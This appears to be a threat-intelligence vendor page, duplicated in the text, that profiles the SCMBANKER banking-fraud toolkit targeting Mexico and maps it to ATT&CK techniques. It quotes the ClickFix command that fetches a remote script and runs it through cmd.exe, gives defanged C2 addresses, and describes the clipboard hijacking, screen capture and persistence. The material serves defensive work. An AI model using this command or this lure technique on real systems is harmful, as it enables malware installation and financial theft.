MalwareUsed by 1 actor

SCMBANKER

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

REF6045

Victims are infected through fake CAPTCHA pages that trick them into running a single command, which installs SCMBANKER, a PowerShell toolkit with components dating back to at least October 2025.

via elastic security labselastic.co

MITRE ATT&CK

Techniques & procedures

22 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique

T1566.002Spearphishing LinkEvidence1

Victims are infected through fake CAPTCHA pages that trick them into running a single command... At the web root ... we found a ClickFix fake-CAPTCHA flow that presented itself as a security verification page.

Execution

4 techniques

T1059.001PowerShellEvidence1

Victims are infected ... which installs SCMBANKER, a PowerShell toolkit... run.vbs launches the following modules... cliente.ps1, jujuzkt.ps1, clip.ps1, avs.ps1, correr.ps1.

T1059.003Windows Command ShellEvidence1

The command fetches validation.txt from the same web server and pipes it directly into cmd.exe ... cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit

T1197BITS JobsEvidence1

Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts... All malicious scripts, files, and binaries are pulled individually via bitsadmin

T1204.001Malicious LinkEvidence1

The page ... instruct[s] the victim to run it from the Windows Run dialog. Below is an example command line: cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit

Persistence

3 techniques

T1112Modify RegistryEvidence1

The third script( remoto.ps1 ) ... imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters ... It also deletes the UninstallString

T1197BITS JobsEvidence1

Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts... All malicious scripts, files, and binaries are pulled individually via bitsadmin

T1547.001Registry Run Keys / Startup FolderEvidence1

Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon... Run key: HKCU\...\Run ... Startup folder: run.vbs dropped to three path variants

Privilege Escalation

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence1

Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon... Run key: HKCU\...\Run ... Startup folder: run.vbs dropped to three path variants

Stealth

3 techniques

T1036.005Match Legitimate Resource Name or LocationEvidence1

The page ... presented itself as a security verification page... using the lure text “Google Verificación Segura (Version 2025.5755)” ... Decoy strings “CIoudfIare” with capital-I homoglyphs

T1197BITS JobsEvidence1

Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts... All malicious scripts, files, and binaries are pulled individually via bitsadmin

T1564.001Hidden Files and DirectoriesEvidence1

On success, it writes REMOTO INSTALADO to agent.txt, drops the 99.kut guard, and runs attrib +h +s "C:\Users\Public" to hide the implant directory.

Defense Impairment

1 technique

T1112Modify RegistryEvidence1

The third script( remoto.ps1 ) ... imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters ... It also deletes the UninstallString

Credential Access

1 technique

T1056.001KeyloggingEvidence1

jujuzkt.ps1 also contains a commented-out path to launch rotor.ps1 ... rotor.ps1 applies the same rotator pattern to C:\Users\Public\key.ps1

Discovery

3 techniques

T1010Application Window DiscoveryEvidence1

Once running, the banking activity monitor checks all visible window titles every second. A match ... against any listed bank, fintech, payment processor, crypto exchange, brokerage, SAT, or telecom keywords causes the implant to POST an alert

T1016System Network Configuration DiscoveryEvidence1

cliente.ps1 collects a machine profile ... ip_local Get-NetIPAddress Internal network recon ... ip_public api.ipify.org External IP for geolocation and targeting

T1082System Information DiscoveryEvidence1

Every 30 seconds, cliente.ps1 collects a machine profile ... machine_name ... client_id ... ip_public ... comentario ... remoto ... timestamp

Collection

3 techniques

T1056.001KeyloggingEvidence1

jujuzkt.ps1 also contains a commented-out path to launch rotor.ps1 ... rotor.ps1 applies the same rotator pattern to C:\Users\Public\key.ps1

T1113Screen CaptureEvidence1

rotor1.ps1 repeatedly spawns screen2.ps1 every 7 seconds for 5 minutes... Each screen2.ps1 run captures the full virtual desktop, compresses the image under 10 MB, and uploads it

T1115Clipboard DataEvidence1

clip.ps1 checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers... clip2.ps1 applies the same process to 16-digit card numbers

Command and Control

4 techniques

T1071.001Web ProtocolsEvidence1

Every 30 seconds, cliente.ps1 collects a machine profile and performs an HTTP POST request to https://negratomasa2026[.]online/dashboard2/recData.php

T1102Web ServiceEvidence1

key.ps1 fetches Telegram bot credentials... An observed redirect destination ... includes a page-load Telegram notification script ... sends the profile to a Telegram chat.

T1105Ingress Tool TransferEvidence1

All malicious scripts, files, and binaries are pulled individually via bitsadmin from http://68.211.161[.]46/files/ to C:\Users\Public\ .

T1219Remote Access ToolsEvidence1

REF6045 repurposes Remote Utilities Host, a legitimate commercial remote-administration product, and configures it silently to call back.

Exfiltration

1 technique

T1041Exfiltration Over C2 ChannelEvidence1

Each screen2.ps1 run captures the full virtual desktop ... and uploads it ... The only exfiltration path in the script is an HTTP POST to https://negratomasa2026[.]online/dashboard2/logs.php

Impact

2 techniques

T1529System Shutdown/RebootEvidence1

It then forces a reboot with the shutdown /r /t 02 command ... Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file

T1657Financial TheftEvidence1

Once installed, the operator can see when a victim opens a banking session... replace account numbers copied to the clipboard... heavily targets Mexico’s financial ecosystem

INDICATORS OF COMPROMISE

IOCs tracked for this family

65 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

11 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

26 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other

28 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

uri●●●●●●●●●●●●View more in apptoday

domain●●●●●●●●●●●●View more in app7 days ago

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

elastic security labsNews

Jul 1, 2026

REF6045: Mexican banking fraud toolkit with signs of AI-assisted development - Elastic Security Labs

Operator-assisted banking fraud malware targeting Mexico. It monitors banking sessions, captures screenshots, displays vishing overlays, redirects browsers to phishing pages, hijacks clipboard contents for CLABE and card-number substitution, supports keylogging, persists via Run key/startup folder, and can install Remote Utilities for full remote access.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching65

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping22

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

MalwareUsed by 1 actor

SCMBANKER

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

REF6045

Victims are infected through fake CAPTCHA pages that trick them into running a single command, which installs SCMBANKER, a PowerShell toolkit with components dating back to at least October 2025.

via elastic security labselastic.co

MITRE ATT&CK

Techniques & procedures

22 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique

T1566.002Spearphishing LinkEvidence1

Execution

4 techniques

T1059.001PowerShellEvidence1

Victims are infected ... which installs SCMBANKER, a PowerShell toolkit... run.vbs launches the following modules... cliente.ps1, jujuzkt.ps1, clip.ps1, avs.ps1, correr.ps1.

T1059.003Windows Command ShellEvidence1

The command fetches validation.txt from the same web server and pipes it directly into cmd.exe ... cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit

T1197BITS JobsEvidence1

Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts... All malicious scripts, files, and binaries are pulled individually via bitsadmin

T1204.001Malicious LinkEvidence1

The page ... instruct[s] the victim to run it from the Windows Run dialog. Below is an example command line: cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit

Persistence

3 techniques

T1112Modify RegistryEvidence1

The third script( remoto.ps1 ) ... imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters ... It also deletes the UninstallString

T1197BITS JobsEvidence1

Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts... All malicious scripts, files, and binaries are pulled individually via bitsadmin

T1547.001Registry Run Keys / Startup FolderEvidence1

Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon... Run key: HKCU\...\Run ... Startup folder: run.vbs dropped to three path variants

Privilege Escalation

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence1

Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon... Run key: HKCU\...\Run ... Startup folder: run.vbs dropped to three path variants

Stealth

3 techniques

T1036.005Match Legitimate Resource Name or LocationEvidence1

The page ... presented itself as a security verification page... using the lure text “Google Verificación Segura (Version 2025.5755)” ... Decoy strings “CIoudfIare” with capital-I homoglyphs

T1197BITS JobsEvidence1

Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts... All malicious scripts, files, and binaries are pulled individually via bitsadmin

T1564.001Hidden Files and DirectoriesEvidence1

On success, it writes REMOTO INSTALADO to agent.txt, drops the 99.kut guard, and runs attrib +h +s "C:\Users\Public" to hide the implant directory.

Defense Impairment

1 technique

T1112Modify RegistryEvidence1

The third script( remoto.ps1 ) ... imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters ... It also deletes the UninstallString

Credential Access

1 technique

T1056.001KeyloggingEvidence1

jujuzkt.ps1 also contains a commented-out path to launch rotor.ps1 ... rotor.ps1 applies the same rotator pattern to C:\Users\Public\key.ps1

Discovery

3 techniques

T1010Application Window DiscoveryEvidence1

T1016System Network Configuration DiscoveryEvidence1

cliente.ps1 collects a machine profile ... ip_local Get-NetIPAddress Internal network recon ... ip_public api.ipify.org External IP for geolocation and targeting

T1082System Information DiscoveryEvidence1

Every 30 seconds, cliente.ps1 collects a machine profile ... machine_name ... client_id ... ip_public ... comentario ... remoto ... timestamp

Collection

3 techniques

T1056.001KeyloggingEvidence1

jujuzkt.ps1 also contains a commented-out path to launch rotor.ps1 ... rotor.ps1 applies the same rotator pattern to C:\Users\Public\key.ps1

T1113Screen CaptureEvidence1

rotor1.ps1 repeatedly spawns screen2.ps1 every 7 seconds for 5 minutes... Each screen2.ps1 run captures the full virtual desktop, compresses the image under 10 MB, and uploads it

T1115Clipboard DataEvidence1

clip.ps1 checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers... clip2.ps1 applies the same process to 16-digit card numbers

Command and Control

4 techniques

T1071.001Web ProtocolsEvidence1

Every 30 seconds, cliente.ps1 collects a machine profile and performs an HTTP POST request to https://negratomasa2026[.]online/dashboard2/recData.php

T1102Web ServiceEvidence1

key.ps1 fetches Telegram bot credentials... An observed redirect destination ... includes a page-load Telegram notification script ... sends the profile to a Telegram chat.

T1105Ingress Tool TransferEvidence1

All malicious scripts, files, and binaries are pulled individually via bitsadmin from http://68.211.161[.]46/files/ to C:\Users\Public\ .

T1219Remote Access ToolsEvidence1

REF6045 repurposes Remote Utilities Host, a legitimate commercial remote-administration product, and configures it silently to call back.

Exfiltration

1 technique

T1041Exfiltration Over C2 ChannelEvidence1

Each screen2.ps1 run captures the full virtual desktop ... and uploads it ... The only exfiltration path in the script is an HTTP POST to https://negratomasa2026[.]online/dashboard2/logs.php

Impact

2 techniques

T1529System Shutdown/RebootEvidence1

It then forces a reboot with the shutdown /r /t 02 command ... Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file

T1657Financial TheftEvidence1

Once installed, the operator can see when a victim opens a banking session... replace account numbers copied to the clipboard... heavily targets Mexico’s financial ecosystem

INDICATORS OF COMPROMISE

IOCs tracked for this family

65 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

11 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

26 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other

28 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

uri●●●●●●●●●●●●View more in apptoday

domain●●●●●●●●●●●●View more in app7 days ago

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

elastic security labsNews

Jul 1, 2026

REF6045: Mexican banking fraud toolkit with signs of AI-assisted development - Elastic Security Labs

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching65

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping22

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.